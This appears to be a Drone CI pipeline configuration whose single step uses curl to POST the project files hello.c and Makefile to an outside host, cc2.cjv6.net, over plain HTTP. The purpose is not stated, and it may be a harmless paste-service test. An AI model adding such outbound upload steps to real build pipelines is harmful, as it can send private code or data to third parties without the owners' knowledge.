---
kind: pipeline
type: docker
name: default

steps:
- name: send
  image: curlimages/curl
  commands:
  - "curl -X POST http://cc2.cjv6.net:7777/documents --data @hello.c"
  - "curl -X POST http://cc2.cjv6.net:7777/documents --data @Makefile"

...